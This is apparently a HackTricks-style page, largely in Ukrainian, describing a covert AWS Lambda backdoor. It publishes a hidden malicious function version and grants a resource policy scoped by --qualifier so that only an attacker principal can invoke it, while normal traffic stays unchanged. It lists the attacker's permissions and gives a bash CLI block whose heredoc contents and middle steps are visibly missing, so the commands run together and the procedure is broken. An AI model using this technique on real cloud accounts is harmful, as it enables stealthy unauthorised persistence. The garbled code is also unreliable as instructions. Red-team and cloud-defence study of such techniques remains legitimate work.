# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version) {{#include ../../../../banners/hacktricks-training.md}} ## Резюме Створіть приховану версію Lambda зі зловмисною логікою та застосуйте політику на основі ресурсу до цієї конкретної версії (або alias) за допомогою параметра `--qualifier` у `lambda add-permission`. Надайте лише `lambda:InvokeFunction` на `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` для attacker principal. Звичайні виклики через ім'я функції або primary alias залишаються без змін, тоді як attacker може безпосередньо викликати backdoored version ARN. Це менш помітно, ніж відкриття Function URL, і не змінює primary traffic alias. ## Необхідні дозволи (attacker) - `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration` - `lambda:AddPermission` (щоб додати політику ресурсу, обмежену певною версією) - `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (щоб імітувати attacker principal) ## Кроки атаки (CLI)
Опублікувати приховану версію, додати дозвіл, обмежений `--qualifier`, викликати як attacker ```bash # Vars REGION=us-east-1 TARGET_FN= # [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version # aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version --region "$REGION" # 1) Build a small backdoor handler and publish as a new version cat > bdoor.py </dev/null cat > /tmp/invoke-policy.json </dev/null cat /tmp/ver-out.json # 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true ```
## Вплив - Надає скритий backdoor для виклику прихованої версії функції без модифікації основного alias або розкриття Function URL. - Обмежує доступ лише до зазначеної версії/alias через resource-based policy `Qualifier`, зменшуючи поверхню виявлення, при цьому зберігаючи надійний виклик для зловмисного principal. {{#include ../../../../banners/hacktricks-training.md}}